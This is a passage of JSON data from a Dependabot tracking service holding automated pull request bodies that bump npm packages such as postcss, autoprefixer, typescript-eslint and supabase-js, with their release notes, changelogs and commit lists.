href=\"https://github.com/postcss/autoprefixer/commit/e62a4b1782f4ece51070feba79b0ff19f4305c68\"\u003e\u003ccode\u003ee62a4b1\u003c/code\u003e\u003c/a\u003e Update CI config\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/c8f0d0ae00f5bb28bbcc3413f70b088020007469\"\u003e\u003ccode\u003ec8f0d0a\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/cae35771dc4a4dfeda637a31dc1795ace6d9d28b\"\u003e\u003ccode\u003ecae3577\u003c/code\u003e\u003c/a\u003e Move back to latest pnpm 11\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/fd31eb33b56ab9663d298b5bf08ae4ff47f76878\"\u003e\u003ccode\u003efd31eb3\u003c/code\u003e\u003c/a\u003e Fix duplicated prefixed selectors on reformatted CSS (\u003ca href=\"https://redirect.github.com/postcss/autoprefixer/issues/1552\"\u003e#1552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/958d390787c31c3044c1fb68ec37efc29637e26b\"\u003e\u003ccode\u003e958d390\u003c/code\u003e\u003c/a\u003e Release 10.5.3 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/21d2adb4d1fc6103c1e3cc39c991de59fdb5496e\"\u003e\u003ccode\u003e21d2adb\u003c/code\u003e\u003c/a\u003e Fix gradient parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/f7ddae99f0ebfa3961a5c14bd9ecb7d4310601a6\"\u003e\u003ccode\u003ef7ddae9\u003c/code\u003e\u003c/a\u003e Fix bracket parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/10ea5e7b8511a3e07aeb8a0f50f61496bc3faf4f\"\u003e\u003ccode\u003e10ea5e7\u003c/code\u003e\u003c/a\u003e Update dependencies and remove patch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/b6e8a2a4672cafafcb3bb2c72cd0027a31b1a320\"\u003e\u003ccode\u003eb6e8a2a\u003c/code\u003e\u003c/a\u003e Update Dev Container\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/autoprefixer/compare/10.5.2...10.5.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.17 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.17...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.63.0 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Prekzursil/momentstudio/pull/652","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Prekzursil%2Fmomentstudio/issues/652","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/652/packages"}},{"old_version":"8.5.15","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-19T00:26:14.000Z","version_change":"8.5.15 → 8.5.19","issue":{"uuid":"4920635578","node_id":"PR_kwDORc1nUM7zb9U7","number":172,"state":"open","title":"chore(deps): bump the npm-dependencies group across 1 directory with 16 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-19T00:26:14.000Z","updated_at":"2026-07-19T00:28:47.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-dependencies","update_count":16,"packages":[{"name":"@supabase/supabase-js","old_version":"2.108.1","new_version":"2.110.7","repository_url":"https://github.com/supabase/supabase-js"},{"name":"lucide-react","old_version":"1.17.0","new_version":"1.25.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"next","old_version":"16.2.9","new_version":"16.2.10","repository_url":"https://github.com/vercel/next.js"},{"name":"@axe-core/playwright","old_version":"4.11.3","new_version":"4.12.1","repository_url":"https://github.com/dequelabs/axe-core-npm"},{"name":"@playwright/test","old_version":"1.60.0","new_version":"1.61.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@tailwindcss/postcss","old_version":"4.3.0","new_version":"4.3.3","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@types/node","old_version":"25.9.3","new_version":"26.1.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"eslint","old_version":"9.39.3","new_version":"10.7.0","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-config-next","old_version":"16.2.9","new_version":"16.2.10","repository_url":"https://github.com/vercel/next.js"},{"name":"lint-staged","old_version":"17.0.7","new_version":"17.1.0","repository_url":"https://github.com/lint-staged/lint-staged"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"prettier","old_version":"3.8.3","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"},{"name":"prettier-plugin-tailwindcss","old_version":"0.8.0","new_version":"0.8.1","repository_url":"https://github.com/tailwindlabs/prettier-plugin-tailwindcss"},{"name":"tailwindcss","old_version":"4.3.0","new_version":"4.3.3","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"typescript","old_version":"6.0.3","new_version":"7.0.2","repository_url":"https://github.com/microsoft/TypeScript"},{"name":"typescript-eslint","old_version":"8.61.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-dependencies group with 16 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@supabase/supabase-js](https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js) | `2.108.1` | `2.110.7` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.17.0` | `1.25.0` |\n| [next](https://github.com/vercel/next.js) | `16.2.9` | `16.2.10` |\n| [@axe-core/playwright](https://github.com/dequelabs/axe-core-npm) | `4.11.3` | `4.12.1` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.60.0` | `1.61.1` |\n| [@tailwindcss/postcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss) | `4.3.0` | `4.3.3` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `25.9.3` | `26.1.1` |\n| [eslint](https://github.com/eslint/eslint) | `9.39.3` | `10.7.0` |\n| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.2.9` | `16.2.10` |\n| [lint-staged](https://github.com/lint-staged/lint-staged) | `17.0.7` | `17.1.0` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.19` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.3` | `3.9.5` |\n| [prettier-plugin-tailwindcss](https://github.com/tailwindlabs/prettier-plugin-tailwindcss) | `0.8.0` | `0.8.1` |\n| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `4.3.0` | `4.3.3` |\n| [typescript](https://github.com/microsoft/TypeScript) | `6.0.3` | `7.0.2` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.61.0` | `8.64.0` |\n\n\nUpdates `@supabase/supabase-js` from 2.108.1 to 2.110.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/supabase-js/releases\"\u003e@​supabase/supabase-js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.110.7\u003c/h2\u003e\n\u003ch2\u003e2.110.7 (2026-07-16)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e correct self-reference inference (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2525\"\u003e#2525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e trigger set auth on INITIAL_SESSION event (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2531\"\u003e#2531\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e update phoenix to fix presence issue (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2532\"\u003e#2532\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEduardo Gurgel\u003c/li\u003e\n\u003cli\u003eFilipe Cabaço \u003ca href=\"https://github.com/filipecabaco\"\u003e\u003ccode\u003e@​filipecabaco\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eVaibhav \u003ca href=\"https://github.com/7ttp\"\u003e\u003ccode\u003e@​7ttp\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.110.7-canary.1\u003c/h2\u003e\n\u003ch2\u003e2.110.7-canary.1 (2026-07-16)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e update phoenix to fix presence issue (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2532\"\u003e#2532\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEduardo Gurgel\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.110.7-canary.0\u003c/h2\u003e\n\u003ch2\u003e2.110.7-canary.0 (2026-07-16)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e correct self-reference inference (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2525\"\u003e#2525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e trigger set auth on INITIAL_SESSION event (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2531\"\u003e#2531\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFilipe Cabaço \u003ca href=\"https://github.com/filipecabaco\"\u003e\u003ccode\u003e@​filipecabaco\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eVaibhav \u003ca href=\"https://github.com/7ttp\"\u003e\u003ccode\u003e@​7ttp\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.110.6\u003c/h2\u003e\n\u003ch2\u003e2.110.6 (2026-07-15)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e type hinted self-referencing embeds as arrays (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2520\"\u003e#2520\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e forward opts to send() in track() (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2490\"\u003e#2490\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esupabase:\u003c/strong\u003e warn instead of throw for unrecognized sb_ API key subtypes (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2526\"\u003e#2526\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/supabase-js/blob/master/packages/core/supabase-js/CHANGELOG.md\"\u003e@​supabase/supabase-js's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.110.7 (2026-07-16)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erealtime:\u003c/strong\u003e trigger set auth on INITIAL_SESSION event (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2531\"\u003e#2531\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFilipe Cabaço \u003ca href=\"https://github.com/filipecabaco\"\u003e\u003ccode\u003e@​filipecabaco\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.110.6 (2026-07-15)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003esupabase:\u003c/strong\u003e warn instead of throw for unrecognized sb_ API key subtypes (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2526\"\u003e#2526\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKaterina Skroumpelou \u003ca href=\"https://github.com/mandarini\"\u003e\u003ccode\u003e@​mandarini\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.110.5 (2026-07-14)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003esupabase:\u003c/strong\u003e avoid edge runtime warning (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2522\"\u003e#2522\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eVaibhav \u003ca href=\"https://github.com/7ttp\"\u003e\u003ccode\u003e@​7ttp\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.110.4 (2026-07-14)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efunctions:\u003c/strong\u003e stop sending API key in Authorization header for function calls (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2511\"\u003e#2511\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKaterina Skroumpelou \u003ca href=\"https://github.com/mandarini\"\u003e\u003ccode\u003e@​mandarini\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.110.3 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for \u003ccode\u003e@​supabase/supabase-js\u003c/code\u003e to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003ch2\u003e2.110.2 (2026-07-09)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for \u003ccode\u003e@​supabase/supabase-js\u003c/code\u003e to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003ch2\u003e2.110.1 (2026-07-07)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/130fa11ac61dbed695f75ea8fb88a796e15db985\"\u003e\u003ccode\u003e130fa11\u003c/code\u003e\u003c/a\u003e fix(realtime): trigger set auth on INITIAL_SESSION event (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2531\"\u003e#2531\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/c90b1cdec7fecaaf0f959d22e7b40f98aa06ec6b\"\u003e\u003ccode\u003ec90b1cd\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.6 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2527\"\u003e#2527\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/c23e1ab3834d039d6df6417f72636910359a26c8\"\u003e\u003ccode\u003ec23e1ab\u003c/code\u003e\u003c/a\u003e fix(supabase): warn instead of throw for unrecognized sb_ API key subtypes (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/8af3c3a2abedcc6e2408e7ef1e907db108e23afe\"\u003e\u003ccode\u003e8af3c3a\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.5 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2524\"\u003e#2524\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/25da0976e9f01c25c36b6123050f5450ff49e012\"\u003e\u003ccode\u003e25da097\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.4 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2523\"\u003e#2523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/dafa7f536f1cb99f2df5795a088e8c5449c45927\"\u003e\u003ccode\u003edafa7f5\u003c/code\u003e\u003c/a\u003e fix(supabase): avoid edge runtime warning (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2522\"\u003e#2522\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/558c1f5565dead952457f33a6aed317339e5ae2a\"\u003e\u003ccode\u003e558c1f5\u003c/code\u003e\u003c/a\u003e fix(functions): stop sending API key in Authorization header for function cal...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/aaec93f3e4474965b687f34b5c62a4f771d9abd3\"\u003e\u003ccode\u003eaaec93f\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.3 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2519\"\u003e#2519\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/f8889ced845da0defea4344fcfc2444545db1ad1\"\u003e\u003ccode\u003ef8889ce\u003c/code\u003e\u003c/a\u003e docs(postgrest): fix outdated \u003ccode\u003ecross-fetch\u003c/code\u003e guidance (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2507\"\u003e#2507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 